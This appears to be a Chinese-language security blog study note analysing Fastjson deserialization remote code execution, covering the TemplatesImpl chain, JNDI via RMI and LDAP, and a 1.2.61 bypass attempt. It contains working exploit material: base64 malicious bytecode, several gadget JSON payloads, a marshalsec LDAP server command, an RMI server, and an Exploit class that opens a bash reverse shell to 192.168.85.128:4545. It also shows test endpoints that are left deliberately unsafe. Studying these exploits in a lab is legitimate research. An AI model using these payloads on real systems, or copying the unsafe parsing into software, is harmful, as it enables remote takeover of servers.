前言(2020/03/16更新)
一直想学习一下Java反序列化漏洞的相关利用,寒假期间学习了Java原生类的反序列化漏洞(Apache Commons Collections组件),不过到现在都还没有做一个总结。刚好最近有师傅问到shiro反序列化漏洞的相关事情,所以现在从这篇文章开始,学习各种Java反序列化漏洞,顺便做一个总结并记录下来。环境搭建采用的是Maven+Spring MVC,方便快捷。
Fastjson
Fastjson是一个性能很好的Java语言实现的Json解析器和生成器,由来自阿里巴巴的工程师开发。具有极快的性能,接口简单易用。Fastjson使用parseObject来进行反序列化。
Fastjson提供了两个主要接口toJSONString和parseObject来实现Json数据的序列化和反系列化。
项目地址:https://github.com/alibaba/fastjson
影响范围
fastjson <= 1.2.24
JDK8: 1.2.22 <= fastjson <= 1.2.24
利用方式
基于TemplateImpl
利用条件
- 解析时设置了
Feature.SupportNonPublicField
,否则不支持传入私有属性 - 目标使用的jdk中存在
TemplatesImpl
类
测试
向maven项目的pom.xml文件中加入需要的依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
然后写个测试方法:
@RequestMapping(value="/Fastjson")
public String fastjson(Model model, HttpServletRequest request) {
String data = request.getParameter("data");
Object obj = JSON.parseObject(data, Object.class, Feature.SupportNonPublicField);
model.addAttribute("result", obj.getClass());
return "index";
}
Poc(坑:之前没写package一直弹不出来计算器):
package Twings;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
然后javac编译成class并base64编码一下生成恶意_bytecodes。访问http://localhost:8080/Fastjson?data=,即可看到弹出计算器。
payload
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAEY2FsYwwAHwAgAQALVHdpbmdzL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAPAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFAALAAAABAABAA8AAQARAAAAAgAS"],"_name": "a.b","_tfactory": {},"_outputProperties": {}}
@type:解析类,_bytecodes:恶意字节码,_outputProperties:调用outputProperties变量的get方法getOutputProperties。
漏洞分析
我们给parseObject函数下断点进行调试,可以看到代码先根据input、config和featureValues生成Json解析类,然后调用它的parseObject函数进行反序列化处理:
我们继续走下去,可以看到下一步是derializer.deserialze函数:
然后是parser.parse:
在这个函数中开始对Json进行解析,先判断了第一个字符,因为payload的第一个字符是{,所以进入了分支LBRACE中:
然后调用了parseObject函数对Json的内容进行解析,获取了键值:
接着开始获取type中所写明的类:
接下来调用deserializer.deserialze函数:
我们跟进去,里面对Json字符串中的各个键值进行了解析,然后调用了parseField函数,当传入的key为_outputProperties的时候,漏洞触发,我们跟进去看看。看到代码调用了fieldDeserializer.parseField->setValue,最后调用invoke函数:
调用了getOutputProperties函数,我们继续走下去,最后来到newTransformer函数:
可以看到这里调用getTransletInstance()函数实例化了类,然后就执行了类的构造函数,导致了代码执行漏洞:
以上就是对基于TemplateImpl的Fastjson反序列化漏洞利用的分析。
基于JNDI
RMI
利用条件
JDK<=8u121,Oracle在jdk8u121之后设置了com.sun.jndi.rmi.object.trustURLCodebase为 false,限制了 RMI 利用方式中从远程加载,会报错:
The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
测试
开启RMI服务:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main( String args[] ){
try{
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("Exploit", "Exploit", "http://127.0.0.1:2333/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}catch(Exception e){
e.printStackTrace();
}
}
}
在Web服务上部署编译后的恶意class:
public class Exploit {
public Exploit(){
try {
// Runtime.getRuntime().exec("calc");
java.lang.Runtime.getRuntime().exec(
new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4545 0>&1"});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后发送payload。
payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
漏洞分析
同样给JSON.parseObject下断点进行调试,可以看到与之前不同的是这次通过了if (matchField)的判断,进入了另一个分支,调用了setValue函数:
然后调用了autoCommit的setter函数setAutoCommit:
最后调用了connect函数,连接了攻击者开启了RMI服务:
以上就是对RMI的Fastjson反序列化漏洞利用的简要分析,跟基于TemplateImpl的原理差不多,都是利用了类的getter或者setter。
绕过方式
在服务端有Tomcat的org.apache.naming.factory.BeanFactory类的时候,可以尝试绕过。
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
LDAP
利用条件
JDK<=8u191,Oracle在jdk8u191之后设置了com.sun.jndi.ldap.object.trustURLCodebase为 false,限制了 LDAP 利用时从远程加载 Class。
安装marshalsec
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
测试
开启LDAP服务:
java -cp .\target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exploit
同样在Web服务上部署编译后的恶意class,发送
payload1:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}
payload2:
{"@type":"org.springframework.beans.factory.config.PropertyPathFactoryBean","targetBeanName":"ldap://localhost:1389/Exploit","propertyPath":"Poc","beanFactory":{"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["ldap://localhost:1389/Exploit"]}}
payload3:
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://localhost:1389/Exploit","loginTimeout":0}
payload4:
Set[{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory":{"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["ldap://localhost:1389/Exploit"]},"adviceBeanName":"ldap://localhost:1389/Exploit"},{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",}]
漏洞分析-payload1
payload1分析同RMI,不再加以分析。
漏洞分析-payload2
首先跟RMI一样进入了if (matchField)并调用了setValue函数,然后调用了PropertyPath的setter函数setPropertyPath,给PropertyPath变量赋了值,到这里还没有触发漏洞。接下来的处理跟基于TemplateImpl的一样,调用了parseField函数,将字段beanFactory作为参数传入:
这里调用fieldValueDeserilizer.deserialze获取了beanFactory中的org.springframework.jndi.support.SimpleJndiBeanFactory实例,然后进入setValue函数:
再调用setter函数setBeanFactory:
这里可以看到有一个判断this.propertyPath == null,如果不传入propertyPath就会直接抛出异常终止程序:
然后将攻击者提供的恶意IDAP地址作为参数,调用this.beanFactory.getBean,即org.springframework.jndi.support.SimpleJndiBeanFactory.getBean函数,最后调用lookup函数连接了攻击者的恶意IDAP:
以上就是对payload2的简要分析,同样原理差不多,但是两层嵌套结构很精妙。
漏洞分析-payload3
payload3分析大致同RMI(应该?),且我本地没有这个类,所以也不加以分析。
漏洞分析-payload4
payload4跟payload3相似,不过payload4是Set类型,且结构更复杂一点。
这次我偷个懒,直接找到最后的触发点,然后查看调用栈,最后触发点跟payload3遗址,同样是lookup函数。因为类型为Set的缘故,所以不会进入其他payload进入的分支LBRACE,而是进入SET分支中:
这里通过HashSet来对Set类型进行处理,最后在putVal函数中调用了key.equals函数:
即DefaultBeanFactoryPointcutAdvisor的equals,由于继承关系,最后调用了AbstractPointcutAdvisor的equals,再调用了getAdvice函数:
然后调用了getBean:
最后就是触发点的doGetSingleton函数了:
以上就是对payload4的简要分析,跟其他payload不同的就是这种payload没有用到getter或者setter,而是用的Set->HashMap->equals这样一个调用链。
2020/03/15 更新 - fastjson 1.2.61
参考文章:https://curz0n.github.io/2019/09/24/fastjson_1_2_61_blacklist_bypass/
现在开始偶尔看看安全相关的东西,因为之前高校战疫的题目提到了 fastjson 1.2.61 版本的绕过,所以我就来更新一番。
首先因为我更新过 Java,所以要改一改之前项目的 JDK 配置,然后修改 pom.xml 里的 fastjson 版本配置为 1.2.61 。
看漏洞描述,好像跟之前的利用方式有点相似,都是利用属性的 getter 和 setter,最后的命令执行方式是调用 RMI 加载远程恶意 class,使用的 commons-configuration 组件,不过我本地都没有这个包,得安装才行。去 maven 仓库上看看这个包:https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 ,有好多版本,我先装个最新版本试试,在 pom.xml 里加入:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
下载好像有点慢,打算加个镜像服务器代理试试,仔细一想才发现不知道 setting.xml 在哪里,于是去看了看环境变量里的 path,发现在 IDEA 的目录 plugins\maven\lib\maven3\conf 里面,有 2 和 3 两个版本,于是又仔细一想,发现不知道项目配置的 maven 是怎么样的,想着干脆看看配置的 maven 版本、配置文件和仓库地址,顺便拯救一下我快被塞满了的 C 盘,在 IDEA 中点击 File - Other Settings - Default Settings,然后搜索 maven 就可以看到配置了,可以看看这篇文章:https://blog.csdn.net/konzy/article/details/81626629
然后修改配置,在 setting.xml 的 mirrors 标签里面里面加上镜像,先试试腾讯云:https://www.cnblogs.com/slankka/p/12202640.html
加个镜像服务器代理试试:
<mirror>
<id>nexus-tencentyun</id>
<mirrorOf>external:*</mirrorOf>
<name>Nexus tencentyun</name>
<url>http://mirrors.cloud.tencent.com/nexus/repository/maven-public/</url>
</mirror>
速度飞快啊,然后修改一下后端代码,支持一下 1.2.61 的 autotype 黑名单:
@RequestMapping(value="/Fastjson2")
public String fastjson2(Model model, HttpServletRequest request) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String data = request.getParameter("data");
JSON.parseObject(data);
return "index";
}
1.2.61 的黑名单存在 ParserConfig 类里面,好像是采用了人类无法看懂的十进制进行存储,具体是什么类可以看这:https://github.com/LeadroyaL/fastjson-blacklist 。
运行的时候看到一个报错,虽然无伤大雅但还是解决一下比较好:https://blog.csdn.net/zhaozhihang1234/article/details/50143903 ,电脑上的 tomcat 也很老了,涉及 EL 的时候会出错好像,什么时候应该换个新的了。
现在大概可以开始研究了吧。
好像不行,运行的时候又遇到一个错误:
java.lang.NoSuchMethodError: com.alibaba.fastjson.parser.ParserConfig.setAutoTypeSupport(Z)V
在网上找到一个脚本:https://blog.csdn.net/qq_28675967/article/details/90579636 ,可以检测类是从哪里加载的,我试了一下结果发现它加载的是 target 下面的 1.2.23 版本的 fastjson?里面两个版本的包都有,看来 IDEA 的编译运行还是需要注意一下包的引入的。删掉了 1.2.23 版本的包之后,运行正常了。
现在我回过头来看看脚本的做法,先用 getProtectionDomain 获取 ProtectionDomain 这个对象,再调用里面的 getCodeSource,这时获取的对象就已经看得出类的来源地了。
现在终于可以开始测试了,先布置好恶意 class 然后启动 RMI 服务和 Web 服务,我这里好像 Tomcat 和 RMI 服务端口冲突了,需要修改一下 Tomcat 的端口。payload:
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://127.0.0.1:1098/Exploit"}
然后报错了:
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
看来这个 payload 最后用到了 JDK 中的 com.sun.jndi.rmi.registry.RegistryContext 类,被 trustURLCodebase 拦截了,所以不能在高版本 Java 里面使用。
以后有时间整理一下 RMI LDAP JNDI JRMP 相关的东西, 我对这些概念还不是特别熟悉,还有就是反序列化中除了直接加载字节码之外的方式,比如从远程加载序列化字符串绕过前面的反序列化黑名单之类的。
参考链接:
https://www.freebuf.com/vuls/178012.html
https://www.restran.net/2018/10/29/fastjson-rce-notes/#%E5%9F%BA%E4%BA%8E-JNDI-%E7%9A%84-PoC
https://mp.weixin.qq.com/s/Eeq4nFdmM8a57l-tZXfvrQ
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html
http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!